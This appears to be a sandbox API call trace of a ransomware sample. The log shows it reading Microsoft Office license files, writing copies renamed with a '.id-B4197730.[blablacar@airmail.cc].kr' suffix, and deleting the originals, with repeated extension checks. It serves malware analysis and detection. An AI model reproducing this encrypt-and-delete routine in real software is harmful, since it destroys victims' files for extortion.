[0214.782] lstrlenW (lpString=".pdf") returned 4 [0214.782] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.782] lstrlenW (lpString=".xls") returned 4 [0214.782] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.782] lstrlenW (lpString=".xlsx") returned 5 [0214.782] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.782] lstrlenW (lpString=".ppt") returned 4 [0214.782] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.783] lstrlenW (lpString=".zip") returned 4 [0214.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.783] lstrlenW (lpString=".rar") returned 4 [0214.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.783] lstrlenW (lpString=".bz2") returned 4 [0214.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.783] lstrlenW (lpString=".7z") returned 3 [0214.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.783] lstrlenW (lpString=".dbf") returned 4 [0214.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.783] lstrlenW (lpString=".1cd") returned 4 [0214.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms") returned 79 [0214.783] lstrlenW (lpString=".jpg") returned 4 [0214.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.783] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.784] lstrlenW (lpString="ProfessionalR_Trial-ppd.xrm-ms") returned 30 [0214.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.784] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=23253) returned 1 [0214.785] CloseHandle (hObject=0x478) returned 1 [0214.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms")) returned 0x220 [0214.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0214.785] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.786] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0214.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0214.787] GetLastError () returned 0x0 [0214.787] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5ad5, lpOverlapped=0x0) returned 1 [0215.009] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5ae0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5ae0, lpOverlapped=0x0) returned 1 [0215.010] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.010] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0215.010] SetEndOfFile (hFile=0x3bc) returned 1 [0215.010] CloseHandle (hObject=0x3bc) returned 1 [0215.010] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.010] SetEndOfFile (hFile=0x478) returned 1 [0215.014] CloseHandle (hObject=0x478) returned 1 [0215.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms")) returned 1 [0215.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.016] lstrlenW (lpString=".doc") returned 4 [0215.016] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString=".docx") returned 5 [0215.016] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.016] lstrlenW (lpString=".pdf") returned 4 [0215.016] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString=".xls") returned 4 [0215.016] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString=".xlsx") returned 5 [0215.016] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.016] lstrlenW (lpString=".ppt") returned 4 [0215.016] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.016] lstrlenW (lpString=".zip") returned 4 [0215.016] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString=".rar") returned 4 [0215.016] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString=".bz2") returned 4 [0215.016] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString=".7z") returned 3 [0215.016] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.016] lstrlenW (lpString=".dbf") returned 4 [0215.016] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.016] lstrlenW (lpString=".1cd") returned 4 [0215.017] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.017] lstrlenW (lpString=".jpg") returned 4 [0215.017] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.017] lstrlenW (lpString=".doc") returned 4 [0215.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString=".docx") returned 5 [0215.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.017] lstrlenW (lpString=".pdf") returned 4 [0215.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString=".xls") returned 4 [0215.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString=".xlsx") returned 5 [0215.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.017] lstrlenW (lpString=".ppt") returned 4 [0215.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.017] lstrlenW (lpString=".zip") returned 4 [0215.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString=".rar") returned 4 [0215.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString=".bz2") returned 4 [0215.017] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString=".7z") returned 3 [0215.017] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.017] lstrlenW (lpString=".dbf") returned 4 [0215.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.017] lstrlenW (lpString=".1cd") returned 4 [0215.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms") returned 80 [0215.018] lstrlenW (lpString=".jpg") returned 4 [0215.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.018] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.018] lstrlenW (lpString="ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 36 [0215.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.018] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20919) returned 1 [0215.018] CloseHandle (hObject=0x478) returned 1 [0215.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms")) returned 0x220 [0215.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.019] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.019] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.020] GetLastError () returned 0x0 [0215.020] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x51b7, lpOverlapped=0x0) returned 1 [0215.023] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x51c0, lpOverlapped=0x0) returned 1 [0215.024] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.024] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11c, lpOverlapped=0x0) returned 1 [0215.024] SetEndOfFile (hFile=0x3bc) returned 1 [0215.024] CloseHandle (hObject=0x3bc) returned 1 [0215.024] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.024] SetEndOfFile (hFile=0x478) returned 1 [0215.027] CloseHandle (hObject=0x478) returned 1 [0215.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms")) returned 1 [0215.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.030] lstrlenW (lpString=".doc") returned 4 [0215.030] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.030] lstrlenW (lpString=".docx") returned 5 [0215.030] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.030] lstrlenW (lpString=".pdf") returned 4 [0215.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.030] lstrlenW (lpString=".xls") returned 4 [0215.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString=".xlsx") returned 5 [0215.031] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.031] lstrlenW (lpString=".ppt") returned 4 [0215.031] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.031] lstrlenW (lpString=".zip") returned 4 [0215.031] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString=".rar") returned 4 [0215.031] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString=".bz2") returned 4 [0215.031] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString=".7z") returned 3 [0215.031] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.031] lstrlenW (lpString=".dbf") returned 4 [0215.031] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.031] lstrlenW (lpString=".1cd") returned 4 [0215.031] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.031] lstrlenW (lpString=".jpg") returned 4 [0215.031] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.031] lstrlenW (lpString=".doc") returned 4 [0215.031] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString=".docx") returned 5 [0215.031] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.031] lstrlenW (lpString=".pdf") returned 4 [0215.031] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString=".xls") returned 4 [0215.031] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.031] lstrlenW (lpString=".xlsx") returned 5 [0215.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.032] lstrlenW (lpString=".ppt") returned 4 [0215.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.032] lstrlenW (lpString=".zip") returned 4 [0215.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.032] lstrlenW (lpString=".rar") returned 4 [0215.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.032] lstrlenW (lpString=".bz2") returned 4 [0215.032] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.032] lstrlenW (lpString=".7z") returned 3 [0215.032] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.032] lstrlenW (lpString=".dbf") returned 4 [0215.032] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.032] lstrlenW (lpString=".1cd") returned 4 [0215.032] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0215.032] lstrlenW (lpString=".jpg") returned 4 [0215.032] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.032] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.032] lstrlenW (lpString="ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 39 [0215.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.033] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11638) returned 1 [0215.033] CloseHandle (hObject=0x478) returned 1 [0215.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0215.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.034] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.034] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.034] GetLastError () returned 0x0 [0215.034] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d76, lpOverlapped=0x0) returned 1 [0215.036] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d80, lpOverlapped=0x0) returned 1 [0215.037] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.037] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x122, lpOverlapped=0x0) returned 1 [0215.037] SetEndOfFile (hFile=0x3bc) returned 1 [0215.038] CloseHandle (hObject=0x3bc) returned 1 [0215.042] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.042] SetEndOfFile (hFile=0x478) returned 1 [0215.044] CloseHandle (hObject=0x478) returned 1 [0215.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms")) returned 1 [0215.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.046] lstrlenW (lpString=".doc") returned 4 [0215.046] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.046] lstrlenW (lpString=".docx") returned 5 [0215.046] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.046] lstrlenW (lpString=".pdf") returned 4 [0215.046] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.046] lstrlenW (lpString=".xls") returned 4 [0215.046] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.046] lstrlenW (lpString=".xlsx") returned 5 [0215.046] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.046] lstrlenW (lpString=".ppt") returned 4 [0215.046] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.046] lstrlenW (lpString=".zip") returned 4 [0215.046] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.046] lstrlenW (lpString=".rar") returned 4 [0215.046] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString=".bz2") returned 4 [0215.047] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString=".7z") returned 3 [0215.047] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.047] lstrlenW (lpString=".dbf") returned 4 [0215.047] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0215.047] lstrlenW (lpString=".1cd") returned 4 [0215.047] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Microsoft 